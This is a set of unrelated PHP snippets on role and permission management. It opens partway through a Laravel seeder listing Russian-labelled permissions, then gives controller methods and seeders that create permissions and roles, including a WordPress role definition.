22:29:15',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешениие позволяет просматриивать все компании',\n ),\n 13 =>\n array(\n 'id' => 14,\n 'name' => 'Просмотр своих компаний фиксирующих курс',\n 'guard_name' => 'guard_company_view_self',\n 'created_at' => '2021-02-10 22:29:53',\n 'updated_at' => '2021-02-10 22:29:53',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешениие позволяет просматриивать свои компании',\n ),\n 14 =>\n array(\n 'id' => 15,\n 'name' => 'Редактирование компаний фиксирующих курс',\n 'guard_name' => 'guard_company_edit',\n 'created_at' => '2021-02-10 22:30:25',\n 'updated_at' => '2021-02-10 22:30:25',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешениие позволяет редактировать все компании',\n ),\n 15 =>\n array(\n 'id' => 16,\n 'name' => 'Редактрование своих компаний фиксирующих курс',\n 'guard_name' => 'guard_company_edit_self',\n 'created_at' => '2021-02-10 22:31:05',\n 'updated_at' => '2021-02-10 22:31:05',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешениие позволяет редактировать свои компании',\n ),\n 16 =>\n array(\n 'id' => 17,\n 'name' => 'Добавление компаний фиксирующих курс',\n 'guard_name' => 'guard_company_add',\n 'created_at' => '2021-02-10 22:32:50',\n 'updated_at' => '2021-02-10 22:32:50',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешениие позволяет добавлять компании',\n ),\n 17 =>\n array(\n 'id' => 18,\n 'name' => 'Удаление компаний фиксирующих курс',\n 'guard_name' => 'guard_company_delete',\n 'created_at' => '2021-02-10 22:33:26',\n 'updated_at' => '2021-02-10 22:33:26',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешениие позволяет удалять все компании',\n ),\n 18 =>\n array(\n 'id' => 19,\n 'name' => 'Удаление своих компаний фиксирующих курс',\n 'guard_name' => 'guard_company_delete_self',\n 'created_at' => '2021-02-10 22:34:08',\n 'updated_at' => '2021-02-10 22:34:08',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешениие позволяет удалять свои компании',\n ),\n 19 =>\n array(\n 'id' => 20,\n 'name' => 'Просмотр фиксированных курсов',\n 'guard_name' => 'guard_lots_view',\n 'created_at' => '2021-02-10 22:44:03',\n 'updated_at' => '2021-02-10 22:44:03',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешениие позволяет просматривать все фикс. курсы',\n ),\n 20 =>\n array(\n 'id' => 21,\n 'name' => 'Просмотр своих фиксированных курсов',\n 'guard_name' => 'guard_lots_view_self',\n 'created_at' => '2021-02-10 22:44:35',\n 'updated_at' => '2021-02-10 22:44:35',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешениие позволяет просматривать свои фикс. курсы',\n ),\n 21 =>\n array(\n 'id' => 22,\n 'name' => 'Редактирование фиксированных курсов',\n 'guard_name' => 'guard_lots_edit',\n 'created_at' => '2021-02-10 22:45:20',\n 'updated_at' => '2021-02-10 22:45:20',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешениие позволяет редактировать все фикс. курсы',\n ),\n 22 =>\n array(\n 'id' => 23,\n 'name' => 'Редактирование своих фиксированных курсов',\n 'guard_name' => 'guard_lots_edit_self',\n 'created_at' => '2021-02-10 22:46:02',\n 'updated_at' => '2021-02-10 22:46:02',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешениие позволяет редактировать свои фикс. курсы',\n ),\n 23 =>\n array(\n 'id' => 24,\n 'name' => 'Добавление фиксированных курсов',\n 'guard_name' => 'guard_lots_add',\n 'created_at' => '2021-02-10 22:47:53',\n 'updated_at' => '2021-02-10 22:47:53',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешениие позволяет добавлять фикс. курсы',\n ),\n 24 =>\n array(\n 'id' => 25,\n 'name' => 'Удаление фиксированных курсов',\n 'guard_name' => 'guard_lots_delete',\n 'created_at' => '2021-02-10 22:48:36',\n 'updated_at' => '2021-02-10 22:48:36',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешениие позволяет удалять все фикс. курсы',\n ),\n 25 =>\n array(\n 'id' => 26,\n 'name' => 'Удаление своих фиксированных курсов',\n 'guard_name' => 'guard_lots_delete_self',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешениие позволяет удалять свои фикс. курсы',\n ),\n 26 =>\n array(\n 'id' => 27,\n 'name' => 'Удаление своих закупок',\n 'guard_name' => 'guard_purchase_delete_self',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет удалять свои закупки',\n ),\n 27 =>\n array(\n 'id' => 28,\n 'name' => 'Удаление закупок',\n 'guard_name' => 'guard_purchase_delete',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет удалять закупки',\n ),\n 28 =>\n array(\n 'id' => 29,\n 'name' => 'Добавлене закупок',\n 'guard_name' => 'guard_purchase_add',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет добавлять закупки',\n ),\n 29 =>\n array(\n 'id' => 30,\n 'name' => 'Просмотр закупок',\n 'guard_name' => 'guard_purchase_view',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет просматривать закупки',\n ),\n 30 =>\n array(\n 'id' => 31,\n 'name' => 'Просмотр своих закупок',\n 'guard_name' => 'guard_purchase_view_self',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет просматривать свои закупки',\n ),\n 31 =>\n array(\n 'id' => 32,\n 'name' => 'Редактирование своих закупок',\n 'guard_name' => 'guard_purchase_edit_self',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет редактировать свои закупки',\n ),\n 32 =>\n array(\n 'id' => 33,\n 'name' => 'Редактирование закупок',\n 'guard_name' => 'guard_purchase_edit',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет редактировать закупки',\n ),\n 33 =>\n array(\n 'id' => 34,\n 'name' => 'Управление скидкой',\n 'guard_name' => 'guard_discount',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет управлять скидкой',\n ),\n 34 =>\n array(\n 'id' => 35,\n 'name' => 'Просмотр выдачи финансов сотрудникам',\n 'guard_name' => 'guard_issuance_of_finance_view',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет просмтривать раздел выдачи финансов',\n ),\n 35 =>\n array(\n 'id' => 36,\n 'name' => 'Выдача финансов сотрудникам',\n 'guard_name' => 'guard_issuance_of_finance_add',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-13 02:23:15',\n 'deleted_at' => '2021-02-13 02:23:15',\n 'desc' => 'Данное разрешение позволяет выдавать финансы сотрудникам',\n ),\n 36 =>\n array(\n 'id' => 37,\n 'name' => 'Выдача финансов сотрудникам',\n 'guard_name' => 'guard_issuance_of_finance_add',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет выдавать финансы сотрудникам',\n ),\n 37 =>\n array(\n 'id' => 38,\n 'name' => 'Просмотр задач',\n 'guard_name' => 'guard_tasks_view',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет просматривать задачи',\n ),\n 38 =>\n array(\n 'id' => 39,\n 'name' => 'Просмотр своих задач',\n 'guard_name' => 'guard_tasks_view_self',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет просматривать свои задачи',\n ),\n 39 =>\n array(\n 'id' => 40,\n 'name' => 'Добавление задач',\n 'guard_name' => 'guard_tasks_add',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет добавлять задачи',\n ),\n 40 =>\n array(\n 'id' => 41,\n 'name' => 'Редактирование задач',\n 'guard_name' => 'guard_tasks_edit',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет редактировать задачи',\n ),\n 41 =>\n array(\n 'id' => 42,\n 'name' => 'Редактирование своих задач',\n 'guard_name' => 'guard_tasks_edit_self',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет редактировать свои задачи',\n ),\n 42 =>\n array(\n 'id' => 43,\n 'name' => 'Удаление своих задач',\n 'guard_name' => 'guard_tasks_delete_self',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет удалять свои задачи',\n ),\n 43 =>\n array(\n 'id' => 44,\n 'name' => 'Удаление задач',\n 'guard_name' => 'guard_tasks_delete',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет удалять задачи',\n ),\n 44 =>\n array(\n 'id' => 45,\n 'name' => 'Удаление статусов задач',\n 'guard_name' => 'guard_task_statuses_delete',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-13 12:24:02',\n 'deleted_at' => '2021-02-13 12:24:02',\n 'desc' => 'Данное разрешение позволяет удалять статусы задач',\n ),\n 45 =>\n array(\n 'id' => 46,\n 'name' => 'Просмотр статусов задач',\n 'guard_name' => 'guard_task_statuses_view',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-13 12:25:40',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет просматриивать статусы задач',\n ),\n 46 =>\n array(\n 'id' => 47,\n 'name' => 'Редактирование статусов задач',\n 'guard_name' => 'guard_task_statuses_edit',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет редактировать статусы задач',\n ),\n 47 =>\n array(\n 'id' => 48,\n 'name' => 'Редактирование приоритетов задач',\n 'guard_name' => 'guard_task_priorities_edit',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет редактировать приоритеты задач',\n ),\n 48 =>\n array(\n 'id' => 49,\n 'name' => 'Удаление приоритетов задач',\n 'guard_name' => 'guard_task_priorities_delete',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-13 12:26:24',\n 'deleted_at' => '2021-02-13 12:26:24',\n 'desc' => 'Данное разрешение позволяет удалять приоритеты задач',\n ),\n 49 =>\n array(\n 'id' => 50,\n 'name' => 'Просмотр приоритетов задач',\n 'guard_name' => 'guard_task_priorities_view',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-13 12:27:04',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет просматривать приоритеты задач',\n ),\n 50 =>\n array(\n 'id' => 51,\n 'name' => 'Просмотр клиентов',\n 'guard_name' => 'guard_clients_view',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет просматривать клиентов',\n ),\n 51 =>\n array(\n 'id' => 52,\n 'name' => 'Просмотр своих клиентов',\n 'guard_name' => 'guard_clients_view_self',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет просматривать своих клиентов',\n ),\n 52 =>\n array(\n 'id' => 53,\n 'name' => 'Добавление клиентов',\n 'guard_name' => 'guard_clients_add',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет добавлять клиентов',\n ),\n 53 =>\n array(\n 'id' => 54,\n 'name' => 'Редактирование клиентов',\n 'guard_name' => 'guard_clients_edit',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет редактировать клиентов',\n ),\n 54 =>\n array(\n 'id' => 55,\n 'name' => 'Редактирование своих клиентов',\n 'guard_name' => 'guard_clients_edit_self',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет редактировать своих клиентов',\n ),\n 55 =>\n array(\n 'id' => 56,\n 'name' => 'Удаление своих клиентов',\n 'guard_name' => 'guard_clients_delete_self',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет удалять своих клиентов',\n ),\n 56 =>\n array(\n 'id' => 57,\n 'name' => 'Удаление клиентов',\n 'guard_name' => 'guard_clients_delete',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет удалять клиентов',\n ),\n 57 =>\n array(\n 'id' => 58,\n 'name' => 'Просмотр лотов на складе',\n 'guard_name' => 'guard_stock_view',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет просматривать лоты на складе',\n ),\n 58 =>\n array(\n 'id' => 59,\n 'name' => 'Просмотр своих лотов на складе',\n 'guard_name' => 'guard_stock_view_self',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет просматривать своих лотов на складе',\n ),\n 59 =>\n array(\n 'id' => 60,\n 'name' => 'Добавление лотов на складе',\n 'guard_name' => 'guard_stock_add',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет добавлять лоты на складе',\n ),\n 60 =>\n array(\n 'id' => 61,\n 'name' => 'Редактирование лотов на складе',\n 'guard_name' => 'guard_stock_edit',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет редактировать лоты на складе',\n ),\n 61 =>\n array(\n 'id' => 62,\n 'name' => 'Редактирование своих лотов на складе',\n 'guard_name' => 'guard_stock_edit_self',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет редактировать свои лоты на складе',\n ),\n 62 =>\n array(\n 'id' => 63,\n 'name' => 'Удаление своих лотов на складе',\n 'guard_name' => 'guard_stock_delete_self',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет удалять свои лоты на складе',\n ),\n 63 =>\n array(\n 'id' => 64,\n 'name' => 'Удаление лотов на складе',\n 'guard_name' => 'guard_stock_delete',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет удалять лоты на складе',\n ),\n 64 =>\n array(\n 'id' => 65,\n 'name' => 'Просмотр пользователей',\n 'guard_name' => 'guard_users_view',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет просматривать пользователей',\n ),\n 65 =>\n array(\n 'id' => 66,\n 'name' => 'Просмотр своих пользователей',\n 'guard_name' => 'guard_users_view_self',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет просматривать своих пользователей',\n ),\n 66 =>\n array(\n 'id' => 67,\n 'name' => 'Добавление пользователей',\n 'guard_name' => 'guard_users_add',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет добавлять пользователей',\n ),\n 67 =>\n array(\n 'id' => 68,\n 'name' => 'Редактирование пользователей',\n 'guard_name' => 'guard_users_edit',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет редактировать пользователей',\n ),\n 68 =>\n array(\n 'id' => 69,\n 'name' => 'Редактирование своих пользователей',\n 'guard_name' => 'guard_users_edit_self',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет редактировать своих пользователей',\n ),\n 69 =>\n array(\n 'id' => 70,\n 'name' => 'Удаление своих пользователей',\n 'guard_name' => 'guard_users_delete_self',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет удалять своих пользователей',\n ),\n 70 =>\n array(\n 'id' => 72,\n 'name' => 'Удаление пользователей',\n 'guard_name' => 'guard_users_delete',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет удалять пользователей',\n ),\n 71 =>\n array(\n 'id' => 73,\n 'name' => 'Изменение команды пользователей',\n 'guard_name' => 'guard_users_teams',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет изменять команду у пользователей',\n ),\n 72 =>\n array(\n 'id' => 74,\n 'name' => 'Редактирование индустрий',\n 'guard_name' => 'guard_industry_edit',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет редактировать индустрии',\n ),\n 73 =>\n array(\n 'id' => 75,\n 'name' => 'Удаление индустрий',\n 'guard_name' => 'guard_industry_delete',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-13 14:07:39',\n 'deleted_at' => '2021-02-13 14:07:39',\n 'desc' => 'Данное разрешение позволяет удалять индустрии',\n ),\n 74 =>\n array(\n 'id' => 76,\n 'name' => 'Просмотр индустрий',\n 'guard_name' => 'guard_industry_view',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-13 14:07:54',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет просматривать индустрии',\n ),\n 75 =>\n array(\n 'id' => 78,\n 'name' => 'Редактирование брендов',\n 'guard_name' => 'guard_brand_edit',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет редактировать бренды',\n ),\n 76 =>\n array(\n 'id' => 79,\n 'name' => 'Удаление брендов',\n 'guard_name' => 'guard_brand_delete',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-13 14:14:36',\n 'deleted_at' => '2021-02-13 14:14:36',\n 'desc' => 'Данное разрешение позволяет удалять бренды',\n ),\n 77 =>\n array(\n 'id' => 80,\n 'name' => 'Просмотр брендов',\n 'guard_name' => 'guard_brand_view',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-13 14:14:20',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет просматривать бренды',\n ),\n 78 =>\n array(\n 'id' => 81,\n 'name' => 'Редактирование команд',\n 'guard_name' => 'guard_team_edit',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет редактировать команды',\n ),\n 79 =>\n array(\n 'id' => 82,\n 'name' => 'Удаление команд',\n 'guard_name' => 'guard_team_delete',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-13 14:16:43',\n 'deleted_at' => '2021-02-13 14:16:43',\n 'desc' => 'Данное разрешение позволяет удалять команды',\n ),\n 80 =>\n array(\n 'id' => 83,\n 'name' => 'Просмотр команд',\n 'guard_name' => 'guard_team_view',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-13 14:13:57',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет просматривать команды',\n ),\n 81 =>\n array(\n 'id' => 84,\n 'name' => 'Редактирование статусов закупки',\n 'guard_name' => 'guard_purchase_statuses_edit',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет редактировать статусы закупки',\n ),\n 82 =>\n array(\n 'id' => 85,\n 'name' => 'Удаление статусов закупки',\n 'guard_name' => 'guard_purchase_statuses_delete',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-13 14:20:02',\n 'deleted_at' => '2021-02-13 14:20:02',\n 'desc' => 'Данное разрешение позволяет удалять статусы закупки',\n ),\n 83 =>\n array(\n 'id' => 86,\n 'name' => 'Просмотр статусов закупки',\n 'guard_name' => 'guard_purchase_statuses_view',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-13 14:20:18',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет просматривать статусы закупки',\n ),\n 84 =>\n array(\n 'id' => 87,\n 'name' => 'Редактирование типов оплаты закупки',\n 'guard_name' => 'guard_purchase_payment_type_edit',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет редактировать типы оплаты закупки',\n ),\n 85 =>\n array(\n 'id' => 88,\n 'name' => 'Удаление типов оплаты закупки',\n 'guard_name' => 'guard_purchase_payment_type_delete',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-13 14:24:38',\n 'deleted_at' => '2021-02-13 14:24:38',\n 'desc' => 'Данное разрешение позволяет удалять типы оплаты закупки',\n ),\n 86 =>\n array(\n 'id' => 89,\n 'name' => 'Просмотр типов оплаты закупки',\n 'guard_name' => 'guard_purchase_payment_type_view',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-13 14:24:59',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет просматриивать типы оплаты закупки',\n ),\n 87 =>\n array(\n 'id' => 90,\n 'name' => 'Редактирование типов пользователя',\n 'guard_name' => 'guard_client_type_edit',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет редактировать типы пользователя',\n ),\n 88 =>\n array(\n 'id' => 91,\n 'name' => 'Удаление типов пользователя',\n 'guard_name' => 'guard_client_type_delete',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-13 14:28:41',\n 'deleted_at' => '2021-02-13 14:28:41',\n 'desc' => 'Данное разрешение позволяет удалять типы пользователя',\n ),\n 89 =>\n array(\n 'id' => 92,\n 'name' => 'Просмотр типов пользователя',\n 'guard_name' => 'guard_client_type_view',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-13 14:29:03',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет просматривать типы пользователя',\n ),\n 90 =>\n array(\n 'id' => 93,\n 'name' => 'Редактирование групп пользователя',\n 'guard_name' => 'guard_client_group_type_edit',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет редактировать группы пользователя',\n ),\n 91 =>\n array(\n 'id' => 94,\n 'name' => 'Удаление групп пользователя',\n 'guard_name' => 'guard_client_group_type_delete',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-13 14:31:23',\n 'deleted_at' => '2021-02-13 14:31:23',\n 'desc' => 'Данное разрешение позволяет удалять группы пользователя',\n ),\n 92 =>\n array(\n 'id' => 95,\n 'name' => 'Просмотр групп пользователя',\n 'guard_name' => 'guard_client_group_type_view',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-13 14:32:33',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет просматривать группы пользователя',\n ),\n 93 =>\n array(\n 'id' => 96,\n 'name' => 'Редактирование ролей',\n 'guard_name' => 'guard_roles_edit',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет редактировать роли',\n ),\n 94 =>\n array(\n 'id' => 97,\n 'name' => 'Удаление ролей',\n 'guard_name' => 'guard_roles_delete',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-13 14:43:06',\n 'deleted_at' => '2021-02-13 14:43:06',\n 'desc' => 'Данное разрешение позволяет удалять роли',\n ),\n 95 =>\n array(\n 'id' => 98,\n 'name' => 'Просмотр ролей',\n 'guard_name' => 'guard_roles_view',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-13 14:43:24',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет просматривать роли',\n ),\n 96 =>\n array(\n 'id' => 99,\n 'name' => 'Редактирование разрешений',\n 'guard_name' => 'guard_permissions_edit',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-10 22:49:07',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет редактировать разрешения',\n ),\n 97 =>\n array(\n 'id' => 100,\n 'name' => 'Удаление разрешений',\n 'guard_name' => 'guard_permissions_delete',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-13 14:36:17',\n 'deleted_at' => '2021-02-13 14:36:17',\n 'desc' => 'Данное разрешение позволяет удалять разрешения',\n ),\n 98 =>\n array(\n 'id' => 101,\n 'name' => 'Просмотр разрешений',\n 'guard_name' => 'guard_permissions_view',\n 'created_at' => '2021-02-10 22:49:07',\n 'updated_at' => '2021-02-13 14:37:03',\n 'deleted_at' => null,\n 'desc' => 'Данное разрешение позволяет просматривать разрешения',\n )\n )\n );\n }", "public function store(Request $request)\n { \n $this->cpAuthorize();\n\n if (Gate::denies('cp')) {\n return response()->json(['msg'=>'Access denied'],403);\n }\n\n if(!$request->data_id){\n //we don't know who to assign the permission to\n return response()->json(['id'=>-1]);\n }\n \n\n $perm=new Permission();\n if($request->isgroup){\n //check permission \n $permExists=Permission::where('source_type',$request->source_type)\n ->where('source_id',$request->source_id)\n ->where('user_group_id',$request->data_id)->first();\n if($permExists){\n return response()->json(['id'=>-1]);\n }\n $perm->user_group_id=$request->data_id;\n }\n else{\n //check permission \n $permExists=Permission::where('source_type',$request->source_type)\n ->where('source_id',$request->source_id)\n ->where('user_id',$request->data_id)->first();\n if($permExists){\n return response()->json(['id'=>-1]);\n }\n $perm->user_id=$request->data_id;\n }\n $perm->source_type=$request->source_type;\n $perm->source_id=$request->source_id;\n $perm->create=0;\n $perm->read=0;\n $perm->update=0;\n $perm->delete=0;\n\n $perm->save();\n\n return response()->json( ['id'=>$perm->id]);\n\n }", "public function run()\n {\n DB::table('privileges')->insert([\n ['level' => '100', 'name' => '最高權限'],\n ['level' => '50', 'name' => '管理者']\n ]);\n }", "static public function add()\n {\n add_role(\n self::ROLE_KEY, \n self::ROLE_NAME, \n [\n 'read' => true,\n 'edit_posts' => true, \n 'upload_files' => false,\n 'edit_others_posts' => true, //a tester a false\n\n 'edit_exercices' => true,\n 'publish_exercices' => false,\n 'read_exercice' => true,\n 'delete_exercice' => true,\n //'delete_exercices' => true,\n 'edit_others_exercices' => false,\n 'delete_others_exercices' => false,\n 'edit_exercice' => true,\n\n 'edit_lessons' => true,\n 'publish_lessons' => true,\n 'read_lesson' => true,\n 'delete_lesson' => true,\n 'edit_others_lessons' => false,\n 'delete_others_lessons' => false,\n 'edit_lesson' => true,\n\n 'manage_arts' => false,\n 'edit_arts' => false,\n 'delete_arts' => false,\n 'assign_arts' => true, \n ]\n\n );\n }", "public function store(StorePermissionRequest $request)\n {\n if (Auth::user()->ability('superadministrator', 'create-permissions')){\n //insert into database\n $permission=new Permission();\n $permission->name=$request->input('name');\n $permission->display_name=$request->input('display_name');\n $permission->description=$request->input('description');\n $bool=$permission->save();\n //redirection after insert\n if ($bool){\n return redirect()->route('permissions.index')->with('success','well done!');\n }else{\n return redirect()->back()->with('error','Something wrong!!!');\n 